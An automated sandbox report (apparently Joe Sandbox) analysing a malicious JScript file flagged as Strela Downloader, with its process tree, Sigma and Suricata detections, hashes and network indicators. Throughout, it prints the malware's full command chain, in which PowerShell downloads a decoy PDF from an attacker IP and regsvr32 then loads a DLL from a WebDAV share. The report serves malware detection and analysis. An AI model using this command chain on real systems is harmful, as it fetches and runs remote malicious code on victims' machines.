Edit tour

Windows Analysis Report
122388091976711996.js

Overview

General Information

Sample name:	122388091976711996.js
Analysis ID:	1588264
MD5:	d1221a5dc0e8ad2129e2e3c9a5fbfd71
SHA1:	ad33eeb0b46e849d2a8542ed69c29da5b7ffbc94
SHA256:	5a28594b25a5062da43c91675ace38974fefe6b05ade784254bdbda1f33047ae
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1444 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3852 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7116 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6368 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4544 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6440 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1620,i,13840923630439036011,16229105474235318139,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4864 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5772 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4816 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1444	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3852, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7116, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3852, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7116, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js", ProcessId: 1444, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5772, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49729

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ProcessId: 3852, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ProcessId: 3852, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ProcessId: 3852, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ProcessId: 3852, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ProcessId: 3852, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js", ProcessId: 1444, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3852, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7116, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4864, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5772, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4816, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4864, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5772, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll, ProcessId: 3852, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:15:34.809097+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49729	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:15:32.592452+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49716	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 122388091976711996.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 122388091976711996.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49729 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:15:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49729

Source: global traffic

TCP traffic: 192.168.2.6:49729 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49716 -> 193.143.1.205:80

Source: global traffic

